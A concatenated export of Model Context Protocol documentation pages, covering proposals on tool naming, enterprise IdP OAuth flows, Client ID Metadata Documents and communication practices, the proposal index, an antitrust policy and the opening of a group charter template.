| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 986 |
| **Title** | Specify Format for Tool Names |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-16 |
| **Author(s)** | kentcdodds |
| **Sponsor** | None |
| **PR** | [#986](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/986) |
***
## Abstract
The Model Context Protocol (MCP) currently lacks a standardized format for tool names, resulting in inconsistencies and confusion for both implementers and users. This SEP proposes a clear, flexible standard for tool names: tool names should be 1–64 characters, case-sensitive, and may include alphanumeric characters, underscores (\_), dashes (-), dots (.), and forward slashes (/). This aims to maximize compatibility, clarity, and interoperability across MCP implementations while accommodating a wide range of naming conventions.
## Motivation
Without a prescribed format for tool names, MCP implementations have adopted a variety of naming conventions, including different separators, casing, and character sets. This inconsistency can lead to confusion, errors in tool invocation, and difficulties in documentation and automation. Standardizing the allowed characters and length will:
* Make tool names predictable and interoperable across clients.
* Allow for hierarchical and namespaced tool names (e.g., using / and .).
* Support both human-readable and machine-generated names.
* Avoid unnecessary restrictions that could block valid use cases.
## Rationale
Community discussion highlighted the need for flexibility in tool naming. While some conventions (like lower-kebab-case) are common, many tools and clients use uppercase, underscores, dots, and slashes for namespacing or clarity. The proposed pattern—allowing a-z, A-Z, 0-9, \_, -, ., and /—is based on patterns used in major clients (e.g., VS Code, Claude) and aligns with common conventions in programming and APIs. Restricting spaces and commas avoids parsing issues and ambiguity. The length limit (1–64) is generous enough for most use cases but prevents abuse.
## Specification
* Tool names SHOULD be between 1 and 64 characters in length (inclusive).
* Tool names are case-sensitive.
* Allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits
(0-9), underscore (\_), dash (-), dot (.), and forward slash (/).
* Tool names SHOULD NOT contain spaces, commas, or other special characters.
* Tool names SHOULD be unique within their namespace.
* Example valid tool names:
* getUser
* user-profile/update
* DATA\_EXPORT\_v2
* admin.tools.list
## Backwards Compatibility
This change is not backwards compatible for existing tools that use disallowed characters or exceed the new length limits. To minimize disruption:
* Existing non-conforming tool names SHOULD be supported as aliases for at least one major version, with a deprecation warning.
* Tool authors SHOULD update their documentation and code to use the new format.
* A migration guide SHOULD be provided to assist implementers in updating their tool names.
## Reference Implementation
A reference implementation can be provided by updating the MCP core library to enforce the new tool name validation rules at registration time. Existing tools can be updated to provide aliases for their new conforming names, with warnings for deprecated formats. Example code and migration scripts can be included in the MCP repository.
## Security Implications
None. Standardizing tool name format does not introduce new security risks.
# SEP-990: Enable enterprise IdP policy controls during MCP OAuth flows
Source: https://modelcontextprotocol.io/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o
Enable enterprise IdP policy controls during MCP OAuth flows
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 990 |
| **Title** | Enable enterprise IdP policy controls during MCP OAuth flows |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-06-04 |
| **Author(s)** | Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) |
| **Sponsor** | None |
| **PR** | [#646](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/646) |
***
## Abstract
This extension is designed to facilitate secure and interoperable authorization of MCP clients within corporate environments, leveraging existing enterprise identity infrastructure.
* For end users, this removes the need to manually connect and authorize the MCP Client to individual services within the organization.
* For enterprise admins, this enables visibility and control over which MCP Servers are able to be used within the organization.
## How Has This Been Tested?
We have an end to end implementation of this [here](https://github.com/oktadev/okta-cross-app-access-mcp), and in-progress MCP implementations with some partners.
## Breaking Changes
This is designed to augment the existing OAuth profile by providing an alternative when used under an enterprise IdP. MCP clients can opt in to this profile when necessary.
## Additional Context
For more background on this problem, you can refer to my blog post about this here:
[Enterprise-Ready MCP](https://aaronparecki.com/2025/05/12/27/enterprise-ready-mcp)
I also presented this at the MCP Dev Summit in May.
A high level overview of the flow is below:
```mermaid theme={null}
sequenceDiagram
participant UA as Browser
participant C as MCP Client
participant MAS as MCP Authorization Server
participant MRS as MCP Resource Server
participant IdP as Identity Provider
rect rgb(255,255,225)
C-->>UA: Redirect to IdP
UA->>+IdP: Redirect to IdP
Note over IdP: User Logs In
IdP-->>-UA: IdP Authorization Code
UA->>C: IdP Authorization Code
C->>+IdP: Token Request with IdP Authorization Code
IdP-->-C: ID Token
end
note over C: User is logged in to MCP Client. Client stores ID Token.
C->+IdP: Exchange ID Token for ID-JAG
note over IdP: Evaluate Policy
IdP-->-C: Responds with ID-JAG
C->+MAS: Token Request with ID-JAG
note over MAS: Validate ID-JAG
MAS-->-C: MCP Access Token
loop
C->>+MRS: Call MCP API with Access Token
MRS-->>-C: MCP Response with Data
end
```
> \[!IMPORTANT]
> **State:** Ready to Review
# SEP-991: Enable URL-based Client Registration using OAuth Client ID Metadata Documents
Source: https://modelcontextprotocol.io/seps/991-enable-url-based-client-registration-using-oauth-c
Enable URL-based Client Registration using OAuth Client ID Metadata Documents
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------------------------------------------- |
| **SEP** | 991 |
| **Title** | Enable URL-based Client Registration using OAuth Client ID Metadata Documents |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-07 |
| **Author(s)** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) |
| **Sponsor** | None |
| **PR** | [#991](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/991) |
***
## Abstract
This SEP proposes adopting OAuth Client ID Metadata Documents as specified in [draft-parecki-oauth-client-id-metadata-document-03](https://datatracker.ietf.org/doc/draft-parecki-oauth-client-id-metadata-document/) as an additional client registration mechanism for the Model Context Protocol (MCP). This approach allows OAuth clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document containing client metadata. This specifically addresses the common MCP scenario where servers and clients have no pre-existing relationship, enabling servers to trust clients without pre-coordination while maintaining full control over access policies.
## Motivation
The Model Context Protocol currently supports two client registration approaches:
1. **Pre-registration**: Requires either client developers or users to manually register clients with each server
2. **Dynamic Client Registration (DCR)**: Allows just-in-time registration by sending client metadata to a register endpoint on the Authorization server.
Both approaches have significant limitations for MCP's use case where clients frequently need to connect to servers they've never encountered before:
* Pre-registration by developers is impractical as servers may not exist when clients ship
* Pre-registration by users creates poor UX requiring manual credential management
* DCR requires servers to manage unbounded databases, handle expiration, and trust self-asserted metadata
### The Target Use Case: No Pre-existing Relationship
This proposal specifically targets the common MCP scenario where:
* A user wants to connect a client to a server they've discovered
* The client developer has never heard of this server
* The server operator has never heard of this client
* Both parties need to establish trust without prior coordination
For scenarios with pre-existing relationships, pre-registration remains the optimal solution. However, MCP's value comes from its ability to connect arbitrary clients and servers, making the "no pre-existing relationship" case critical to address.
Relatedly, there are many more MCP servers than there are clients (similar to how there are many more web browsers than API's). A common scenario is an MCP server developer wanting to restrict usage to a set of clients they trust.
### Key Innovation: Server-Controlled Trust Without Pre-Coordination
Client ID Metadata Documents enable a unique trust model where:
1. **Servers can trust clients they've never seen before** based on:
* The HTTPS domain hosting the metadata
* The metadata content itself
* Domain reputation and security policies
2. **Servers maintain full control** through flexible policies:
* **Open Servers**: Can accept any HTTPS client\_id, enabling maximum interoperability
* **Protected Servers**: Can restrict to trusted domains or specific clients
3. **No client pre-coordination required**:
* Clients don't need to know about servers in advance
* Clients just need to host their metadata document
* Trust flows from the client's domain, not prior registration
## Specification Changes
The change to the specification will be adding Client ID Metadata documents as a SHOULD, and changing DCR to a MAY, as we think that Client ID Metadata documents are a better default option for this scenario.
We will primarily rely on the text in the linked RFC, aiming not to repeat most of it. Below is a short version of what we'll need to specify.
```mermaid theme={null}
sequenceDiagram
participant User
participant Client as MCP Client
participant Server as Authorization Server
participant Metadata as Metadata Endpoint (Client's HTTPS URL)
participant Resource as MCP Server
Note over Client,Metadata: Client hosts metadata at https://app.example.com/oauth/metadata.json
User->>Client: Initiates connection to MCP Server
Client->>Server: Authorization Request client_id=https://app.example.com/oauth/metadata.json redirect_uri=http://localhost:3000/callback
Note over Server: Authenticates user
Note over Server: Detects URL-formatted client_id
Server->>Metadata: GET https://app.example.com/oauth/metadata.json
Metadata-->>Server: JSON Metadata Document {client_id, client_name, redirect_uris, ...}
Note over Server: Validates: 1. client_id matches URL 2. redirect_uri in allowed list 3. Document structure valid 4. Domain allowed via trust policy
alt Validation Success
Server->>User: Display consent page with client_name
User->>Server: Approves access
Server->>Client: Authorization code via redirect_uri
Client->>Server: Exchange code for token client_id=https://app.example.com/oauth/metadata.json
Server-->>Client: Access token
Client->>Resource: MCP requests with access token
Resource-->>Client: MCP responses
else Validation Failure
Server->>User: Error response error=invalid_client or invalid_request
end
Note over Server: Cache metadata for future requests (respecting HTTP cache headers)
```
### Client Requirements
* Clients MUST host their metadata document at an HTTPS URL following RFC requirements
* The client\_id URL MUST use "https" scheme and contain a path component
* Metadata documents MUST be valid JSON and include at minimum:
* `client_id`: matching the document URL exactly
* `client_name`: human-readable name for authorization prompts
* `redirect_uris`: array of allowed redirect URIs
* `token_endpoint_auth_method`: "none" for public clients
Note a client can use `private_key_jwt` for a `token_endpoint_auth_method` given the client metadata can provide public key information.
### Server Requirements
* Servers SHOULD fetch metadata documents when encountering URL-formatted client\_ids
* Servers MUST validate the fetched document contains matching client\_id
* Servers SHOULD cache metadata respecting HTTP headers (max 24 hours recommended)
* Servers MUST validate redirect URIs match those in metadata document
### Discovery
* Servers advertise support via OAuth metadata: `client_id_metadata_document_supported: true`
* Clients detect support and can fallback to DCR or pre-registration if unavailable
Example metadata document:
```json theme={null}
{
"client_id": "https://app.example.com/oauth/client-metadata.json",
"client_name": "Example MCP Client",
"client_uri": "https://app.example.com",
"logo_uri": "https://app.example.com/logo.png",
"redirect_uris": [
"http://127.0.0.1:3000/callback",
"http://localhost:3000/callback"
],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"token_endpoint_auth_method": "none"
}
```
### Integration with Existing MCP Auth
This proposal adds Client ID Metadata Documents as a third registration option alongside pre-registration and DCR. Servers MAY support any combination of these approaches:
* Pre-registration remains unchanged
* DCR remains unchanged
* Client ID Metadata Documents are detected by URL-formatted client\_ids, and server support is advertised in OAuth metadata.
## Rationale
### Why This Solves the "No Pre-existing Relationship" Problem
Unlike pre-registration which requires coordination, or DCR which requires servers to manage a registration database, Client ID Metadata Documents provide:
1. **Verifiable Identity**: The HTTPS URL serves as both identifier and trust anchor
2. **No Coordination Needed**: Clients publish metadata, servers consume it
3. **Flexible Trust Policies**: Servers decide their own trust criteria without requiring client changes
4. **Stable Identifiers**: Unlike DCR's ephemeral IDs, URLs are stable and auditable
### Redirect URI Attestation
A key benefit of Client ID Metadata Documents is attestation of redirect URIs:
1. **The metadata document cryptographically binds redirect URIs to the client identity** via HTTPS
2. **Servers can trust that redirect URIs in the metadata are controlled by the client** - not attacker-supplied
3. **This prevents redirect URI manipulation attacks** common with self-asserted registration
### Risks of this approach
#### Risk: Localhost URL Impersonation
A limitation of Client ID Metadata Documents is that they cannot prevent localhost URL impersonation by itself. An attacker can claim to be any client by:
1. Providing the legitimate client's metadata URL as their client\_id
2. Binding to the same localhost port the legitimate client uses
3. Intercepting the authorization code when the user approves
This attack is concerning because the server sees the correct metadata
document and the user sees the correct client name, making detection
difficult.
Platform-specific attestations (iOS DeviceCheck, Android
Play Integrity) could address this, but they're not universally available. This
would work by a developer running a backend service that consumes the DeviceCheck / Play Integrity
signatures and returns a JWT usable as the `private_key_jwt` authentication for the `token_endpoint_auth_method`.
A similar approach without requiring platform-specific attestations that still raises the cost of the attack
is possible using JWKS and short-lived JWTs signed by a server-side component hosted by the client developer. This component could use attestation mechanisms other than platform-specific ones to attest to the clients identity, such as the client's standard login flow. Using short lived JWTs reduces the risk of credential compromise and replay, but does not eliminate it
entirely - an attacker could still proxy requests to the legitimate
client's signing endpoint.
Fully mitigating this risk is outside the scope of this proposal. This
proposal has the same risks as DCR does in a localhost redirect scenario.
Servers SHOULD display additional warnings for localhost-only clients.
#### Risk: Server Side Request Forgery (SSRF)
The authorization server takes a URL as input from an unknown client, and then fetches that URL. A malicious client could use this to send non-metadata requests on behalf of the authorization server. An example would be sending a URL corresponding to a private administration endpoint that the authorization server has access to.
This can be prevented by validating the URL's and the IP's those URL's resolve to prior to initiating a fetch request.
#### Risk: Distributed Denial of Service (DDoS)
Similarly, an attacker could try to leverage a pool of authorization servers to perform a denial of service attack on a non-MCP server.
There is not any additional amplification for the fetch request (i.e. the bandwidth from the client to make the request roughly equals the bandwidth of the request sent to the target server), and each authorization server can aggressively cache the result of these metadata fetches, so it is unlikely to be an attractive DDoS vector.
#### Risk: Maturity of referenced specification
The RFC for Client ID Metadata documents is still a draft. It has been implemented by the platform Bluesky, but has not been ratified or very widely adopted outside of that, and may evolve over time. Our intention is to evolve and align with subsequent drafts and any final standard, while minimizing disruption and breakage with existing implementations.
This approach has the risk that there are implementation challenges or flaws in the protocol that have not surfaced yet. However, even though DCR has been ratified, and it also has a number of implementation challenges that developers are facing when trying to use it in an open ecosystem context like MCP. Those challenges are the motivation behind this proposal.
#### Risk: Client implementation burden, especially local clients
This specification requires an additional piece of infrastructure for clients, since they need to host a metadata file behind an HTTPS url. Without this specification, a client could be strictly a desktop application for example.
The burden of hosting this endpoint is expected to be low as hosting a static JSON file is fairly straightforward and most known clients have a webpage advertising their client or providing download links.
#### Risk: Fragmentation of authorization approaches
Authorization for MCP is already challenging to fully implement for clients and servers. Questions about how to do it correctly and best practices are some of the most common in the community. Adding another branch to the authorization flow means this could be even more complicated and fractured, meaning fewer developers succeed in following the specification, and the promise of compatibility and an open ecosystem suffers as a result.
This proposal intends to simplify the story for authorization server and resource server developers by providing a clearer mechanism to trust redirect URIs and less operational overhead. This proposal depends on that simplicity being clearly the better option for most folks, which will drive more adoption and end up being the most supported option. If we do not believe that it is clearly the better option, then we should not adopt this proposal.
This proposal also provides a unified mechanism for both open servers and servers that want to restrict which clients can be used. Alternatives to this proposal require that clients and servers implement different mechanisms for the open and protected use cases.
## Alternatives Considered
1. **Enhanced DCR with Software Statements**: More complex, requires JWKS hosting and JWT signing
2. **Mandatory Pre-registration**: Poor developer and user experience for MCP's distributed ecosystem
3. **Mutual TLS**: Requires trusting a client certificate authority, impractical in an open ecosystem
4. **Status Quo**: Continues current pain points for server implementers
Client ID Metadata document is a strict improvement over DCR for the most common open-ecosystem use case. It can be further extended in the future to better support things like OS-level attestations and jwks\_uri's.
## Backward Compatibility
This proposal is fully backward compatible:
* Existing pre-registered clients continue working unchanged
* Existing DCR implementations continue working unchanged
* Servers can adopt Client ID Metadata Documents incrementally
* Clients can detect support and fall back to other methods
## Prototype Implementation
A prototype implementation is available [here](https://github.com/modelcontextprotocol/typescript-sdk/pull/839) demonstrating:
1. Client-side metadata document hosting
2. Server-side metadata fetching and validation
3. Integration with existing MCP OAuth flows
4. Proper error handling and fallback behavior
## Security Implications
1. **Phishing Prevention**: Display client hostname prominently
2. **SSRF Protection**: Validate URLs, limit response size, timeout requests, rate limit outbound requests
### Best Practices
* Only fetch client metadata after authenticating the user
* Implement rate limiting on outbound metadata fetches
* Consider additional warnings for new/unknown/localhost domains
* Log metadata fetch failures for monitoring
## References
* [draft-parecki-oauth-client-id-metadata-document-03](https://www.ietf.org/archive/id/draft-parecki-oauth-client-id-metadata-document-03.txt)
* [OAuth 2.1](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/)
* [RFC 7591 - OAuth 2.0 Dynamic Client Registration](https://www.rfc-editor.org/rfc/rfc7591.html)
* [MCP Specification - Authorization](https://modelcontextprotocol.org/docs/spec/authorization)
* [Evolving OAuth Client Registration in the Model Context Protocol](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1027/)
# SEP-994: Shared Communication Practices/Guidelines
Source: https://modelcontextprotocol.io/seps/994-shared-communication-practicesguidelines
Shared Communication Practices/Guidelines
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 994 |
| **Title** | Shared Communication Practices/Guidelines |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2025-07-17 |
| **Author(s)** | [@localden](https://github.com/localden) |
| **Sponsor** | None |
| **PR** | [#1002](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1002) |
***
## Abstract
This SEP establishes the communication strategy and framework for the Model Context Protocol community. It defines the official channels for contributor communication, guidelines for their use, and processes for decision documentation.
## Motivation
As the MCP community grows, clear communication guidelines are essential for:
* **Consistency**: Ensuring all contributors know where and how to communicate
* **Transparency**: Making project decisions visible and accessible
* **Efficiency**: Directing discussions to the most appropriate channels
* **Security**: Establishing proper processes for handling sensitive issues
## Specification
### Communication Channels
The MCP project uses three primary communication channels:
1. **Discord**: For real-time or ad-hoc discussions among contributors
2. **GitHub Discussions**: For structured, longer-form discussions
3. **GitHub Issues**: For actionable tasks, bug reports, and feature requests
Security-sensitive issues follow a separate process defined in SECURITY.md.
### Discord Guidelines
The Discord server is designed for **MCP contributors** and is not intended for general MCP support.
#### Public Channels (Default)
* Open community engagement and collaborative development
* SDK and tooling development discussions
* Working and Interest Group discussions
* Community onboarding and contribution guidance
* Office hours and maintainer availability
#### Private Channels (Exceptions)
Private channels are reserved for:
* Security incidents (CVEs, protocol vulnerabilities)
* People matters (maintainer discussions, code of conduct)
* Coordination requiring immediate focused response
All technical and governance decisions must be documented publicly in GitHub.
### GitHub Discussions
Used for structured, long-form discussion:
* Project roadmap planning
* Announcements and release communications
* Community polls and consensus-building
* Feature requests with context and rationale
### GitHub Issues
Used for actionable items:
* Bug reports with reproducible steps
* Documentation improvements
* CI/CD and infrastructure issues
* Release tasks and milestone tracking
### Decision Records
All MCP decisions are documented publicly:
* **Technical decisions**: GitHub Issues and SEPs
* **Specification changes**: Changelog on the MCP website
* **Process changes**: Community documentation
* **Governance decisions**: GitHub Issues and SEPs
Decision documentation includes:
* Decision makers
* Background context and motivation
* Options considered
* Rationale for chosen approach
* Implementation steps
## Rationale
This framework balances openness with practicality:
* **Public by default**: Maximizes transparency and community participation
* **Private when necessary**: Protects security and personal matters
* **Channel separation**: Keeps discussions organized and searchable
* **Documentation requirements**: Ensures decisions are preserved and discoverable
## Backward Compatibility
This SEP establishes new processes and does not affect existing protocol functionality.
## Reference Implementation
The communication guidelines are published at: [https://modelcontextprotocol.io/community/communication](https://modelcontextprotocol.io/community/communication)
# Specification Enhancement Proposals (SEPs)
Source: https://modelcontextprotocol.io/seps/index
Index of all MCP Specification Enhancement Proposals
Specification Enhancement Proposals (SEPs) are the primary mechanism for proposing major changes to the Model Context Protocol. Each SEP provides a concise technical specification and rationale for proposed features.
Learn how to submit your own Specification Enhancement Proposal
## Summary
* **Final**: 41
## All SEPs
| SEP | Title | Status | Type | Created |
| ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------- | -------------------- | ---------------- | ---------- |
| [SEP-2663](/seps/2663-tasks-extension) | Tasks Extension | Final | Extensions Track | 2026-04-27 |
| [SEP-2596](/seps/2596-spec-feature-lifecycle-and-deprecation) | Specification Feature Lifecycle and Deprecation Policy | Final | Process | 2026-04-17 |
| [SEP-2577](/seps/2577-deprecate-roots-sampling-and-logging) | Deprecate Roots, Sampling, and Logging | Final | Standards Track | 2026-04-14 |
| [SEP-2575](/seps/2575-stateless-mcp) | Make MCP Stateless | Final | Standards Track | 2025-06-18 |
| [SEP-2567](/seps/2567-sessionless-mcp) | Sessionless MCP via Explicit State Handles | Final | Standards Track | 2026-03-11 |
| [SEP-2549](/seps/2549-TTL-for-list-results) | TTL for List Results | Final | Standards Track | 2026-04-09 |
| [SEP-2484](/seps/2484-conformance-tests-required-for-final-seps) | Require Conformance Tests for Standards Track SEPs to Reach Final Status | Final | Process | 2026-03-27 |
| [SEP-2468](/seps/2468-recommend-issuer-claim-for-auth) | Recommend Issuer (iss) Parameter in MCP Auth Responses | Final | Standards Track | 2026-03-25 |
| [SEP-2322](/seps/2322-MRTR) | Multi Round-Trip Requests | Final | Standards Track | 2026-02-03 |
| [SEP-2260](/seps/2260-Require-Server-requests-to-be-associated-with-Client-requests) | Require Server requests to be associated with a Client request. | Final | Standards Track | 2026-02-16 |
| [SEP-2243](/seps/2243-http-standardization) | HTTP Header Standardization for Streamable HTTP Transport | Final | Standards Track | 2026-02-04 |
| [SEP-2207](/seps/2207-oidc-refresh-token-guidance) | OIDC-Flavored Refresh Token Guidance | Final | Standards Track | 2026-02-04 |
| [SEP-2164](/seps/2164-resource-not-found-error) | Standardize Resource Not Found Error Code | Final | Standards Track | 2026-01-28 |
| [SEP-2149](/seps/2149-working-group-charter-template) | MCP Group Governance and Charter Template | Final | Process | 2025-01-15 |
| [SEP-2148](/seps/2148-contributor-ladder) | MCP Contributor Ladder | Final | Process | 2026-01-15 |
| [SEP-2133](/seps/2133-extensions) | Extensions | Final | Standards Track | 2025-01-21 |
| [SEP-2106](/seps/2106-json-schema-2020-12) | Tools `inputSchema` & `outputSchema` Conform to JSON Schema 2020-12 | Final | Standards Track | 2026-01-06 |
| [SEP-2085](/seps/2085-governance-succession-and-amendment) | Governance Succession and Amendment Procedures | Final | Process | 2025-12-05 |
| [SEP-1865](/seps/1865-mcp-apps-interactive-user-interfaces-for-mcp) | MCP Apps - Interactive User Interfaces for MCP | Final | Extensions Track | 2025-11-21 |
| [SEP-1850](/seps/1850-pr-based-sep-workflow) | PR-Based SEP Workflow | Final | Process | 2025-11-20 |
| [SEP-1730](/seps/1730-sdks-tiering-system) | SDKs Tiering System | Final | Standards Track | 2025-10-29 |
| [SEP-1699](/seps/1699-support-sse-polling-via-server-side-disconnect) | Support SSE polling via server-side disconnect | Final | Standards Track | 2025-10-22 |
| [SEP-1686](/seps/1686-tasks) | Tasks | Final | Standards Track | 2025-10-20 |
| [SEP-1613](/seps/1613-establish-json-schema-2020-12-as-default-dialect-f) | Establish JSON Schema 2020-12 as Default Dialect for MCP | Final | Standards Track | 2025-10-06 |
| [SEP-1577](/seps/1577--sampling-with-tools) | Sampling With Tools | Final | Standards Track | 2025-09-30 |
| [SEP-1330](/seps/1330-elicitation-enum-schema-improvements-and-standards) | Elicitation Enum Schema Improvements and Standards Compliance | Final | Standards Track | 2025-08-11 |
| [SEP-1319](/seps/1319-decouple-request-payload-from-rpc-methods-definiti) | Decouple Request Payload from RPC Methods Definition | Final | Standards Track | 2025-08-08 |
| [SEP-1303](/seps/1303-input-validation-errors-as-tool-execution-errors) | Input Validation Errors as Tool Execution Errors | Final | Standards Track | 2025-08-05 |
| [SEP-1302](/seps/1302-formalize-working-groups-and-interest-groups-in-mc) | Formalize Working Groups and Interest Groups in MCP Governance | Final | Standards Track | 2025-08-05 |
| [SEP-1046](/seps/1046-support-oauth-client-credentials-flow-in-authoriza) | Support OAuth client credentials flow in authorization | Final | Standards Track | 2025-07-23 |
| [SEP-1036](/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera) | URL Mode Elicitation for secure out-of-band interactions | Final | Standards Track | 2025-07-22 |
| [SEP-1034](/seps/1034--support-default-values-for-all-primitive-types-in) | Support default values for all primitive types in elicitation schemas | Final | Standards Track | 2025-07-22 |
| [SEP-1024](/seps/1024-mcp-client-security-requirements-for-local-server-) | MCP Client Security Requirements for Local Server Installation | Final | Standards Track | 2025-07-22 |
| [SEP-994](/seps/994-shared-communication-practicesguidelines) | Shared Communication Practices/Guidelines | Final | Process | 2025-07-17 |
| [SEP-991](/seps/991-enable-url-based-client-registration-using-oauth-c) | Enable URL-based Client Registration using OAuth Client ID Metadata Documents | Final | Standards Track | 2025-07-07 |
| [SEP-990](/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o) | Enable enterprise IdP policy controls during MCP OAuth flows | Final | Standards Track | 2025-06-04 |
| [SEP-986](/seps/986-specify-format-for-tool-names) | Specify Format for Tool Names | Final | Standards Track | 2025-07-16 |
| [SEP-985](/seps/985-align-oauth-20-protected-resource-metadata-with-rf) | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 | Final | Standards Track | 2025-07-16 |
| [SEP-973](/seps/973-expose-additional-metadata-for-implementations-res) | Expose additional metadata for Implementations, Resources, Tools and Prompts | Final | Standards Track | 2025-07-15 |
| [SEP-932](/seps/932-model-context-protocol-governance) | Model Context Protocol Governance | Final | Process | 2025-07-08 |
| [SEP-414](/seps/414-request-meta) | Document OpenTelemetry Trace Context Propagation Conventions | Final | Standards Track | 2025-04-25 |
## SEP Status Definitions
| Status | Definition |
| ------------------------- | -------------------------------------------------------- |
| Draft | SEP proposal with a sponsor, undergoing informal review |
| In-Review | SEP proposal ready for formal review by Core Maintainers |
| Accepted | SEP accepted, awaiting reference implementation |
| Final | SEP finalized with reference implementation complete |
| Rejected | SEP rejected by Core Maintainers |
| Withdrawn | SEP withdrawn by the author |
| Superseded | SEP replaced by a newer SEP |
| Dormant | SEP without a sponsor, closed after 6 months |
# Antitrust Policy
Source: https://modelcontextprotocol.io/community/antitrust
MCP Project Antitrust Policy for participants and contributors
**Effective: September 29, 2025**
This policy applies when participating in MCP meetings, Working Groups,
Interest Groups, and other collaborative forums where competitors may be
present. Most individual contributors working on code or documentation don't
need to worry about this in day-to-day work - it's primarily relevant for
group discussions about standards and specifications.
## Introduction
The goal of the Model Context Protocol open source project (the "Project") is to develop a universal standard for model-to-world interactions, including enabling LLMs and agents to seamlessly connect with and utilize external data sources and tools. The purpose of this Antitrust Policy (the "Policy") is to avoid antitrust risks in carrying out this pro-competitive mission.
Participants in and contributors to the Project (collectively, "participants") will use their best reasonable efforts to comply in all respects with all applicable state and federal antitrust and trade regulation laws, and applicable antitrust/competition laws of other countries (collectively, the "Antitrust Laws").
The goal of Antitrust Laws is to encourage vigorous competition. Nothing in this Policy prohibits or limits the ability of participants to make, sell or use any product, or otherwise to compete in the marketplace. This Policy provides general guidance on compliance with Antitrust Law. Participants should contact their respective legal counsel to address specific questions.
This Policy is conservative and is intended to promote compliance with the Antitrust Laws, not to create duties or obligations beyond what the Antitrust Laws actually require. In the event of any inconsistency between this Policy and the Antitrust Laws, the Antitrust Laws preempt and control.
## Participation
Technical participation in the Project shall be open to all, subject only to compliance with the provisions of the Project's charter and other governance documents.
## Conduct of Meetings
At meetings among actual or potential competitors, there is a risk that participants in those meetings may improperly disclose or discuss information in violation of the Antitrust Laws or otherwise act in an anti-competitive manner. To avoid this risk, participants must adhere to the following policies when participating in Project-related or sponsored meetings, conference calls, or other forums (collectively, "Project Meetings").
Participants must not, in fact or appearance, discuss or exchange information regarding:
* An individual company's current or projected prices, price changes, price differentials, markups, discounts, allowances, terms and conditions of sale, including credit terms, etc., or data that bear on prices, including profits, margins or cost.
* Industry-wide pricing policies, price levels, price changes, differentials, or the like.
* Actual or projected changes in industry production, capacity or inventories.
* Matters relating to bids or intentions to bid for particular products, procedures for responding to bid invitations or specific contractual arrangements.
* Plans of individual companies concerning the design, characteristics, production, distribution, marketing or introduction dates of particular products, including proposed territories or customers.
* Matters relating to actual or potential individual suppliers that might have the effect of excluding them from any market or of influencing the business conduct of firms toward such suppliers.
* Matters relating to actual or potential customers that might have the effect of influencing the business conduct of firms toward such customers.
* Individual company current or projected cost of procurement, development or manufacture of any product.
* Individual company market shares for any product or for all products.
* Confidential or otherwise sensitive business plans or strategy.
In connection with all Project Meetings, participants must do the following:
* Adhere to prepared agendas.
* Insist that meeting minutes be prepared and distributed to all participants, and that meeting minutes accurately reflect the matters that transpired.
* Consult with their respective counsel on all antitrust questions related to Project Meetings.
* Protest against any discussions that appear to violate these policies or the Antitrust Laws, leave any meeting in which such discussions continue, and either insist that such protest be noted in the minutes.
## Requirements/Standard Setting
The Project may establish standards, technical requirements and/or specifications for use (collectively, "requirements"). Participants shall not enter into agreements that prohibit or restrict any participant from establishing or adopting any other requirements. Participants shall not undertake any efforts, directly or indirectly, to prevent any firm from manufacturing, selling, or supplying any product not conforming to a requirement.
The Project shall not promote standardization of commercial terms, such as terms for license and sale.
## Contact Information
To contact the Project regarding matters addressed by this Antitrust Policy, please send an email to [antitrust@modelcontextprotocol.io](mailto:antitrust@modelcontextprotocol.io), and reference "Antitrust Policy" in the subject line.
# Group Charter Template
Source: https://modelcontextprotocol.io/community/charter-template
Template for MCP Working Group and Interest Group charters.
Every MCP Working Group and Interest Group must maintain a charter document following this structure. Charters are stored at `docs/community/working-groups/.mdx` or `docs/community/interest-groups/.mdx` in the [modelcontextprotocol repository](https://github.com/modelcontextprotocol/modelcontextprotocol) and added to `docs/docs.json`.
The charter captures information specific to your group. Governance rules — leadership requirements, decision-making process, meeting requirements, escalation paths — are defined in the [Working and Interest Groups](/community/working-interest-groups) documentation and apply automatically. Do not repeat them here.
Sections marked **(WG only)** are required for Working Groups and optional for Interest Groups.
Copy the markdown below into `docs/community/working-groups/.mdx` (or `interest-groups/` for an IG) and replace the placeholder text.
***
```markdown theme={null}
---
title: Charter
description: Charter for the MCP .
---
## Group Type
**Working Group** | **Interest Group**
## Mission Statement
## Scope
### In Scope
### Out of Scope
### Related Groups
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ---- | ------------ | ------ | ---- |
| | | | | |
## Authority & Decision Rights (WG only)
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
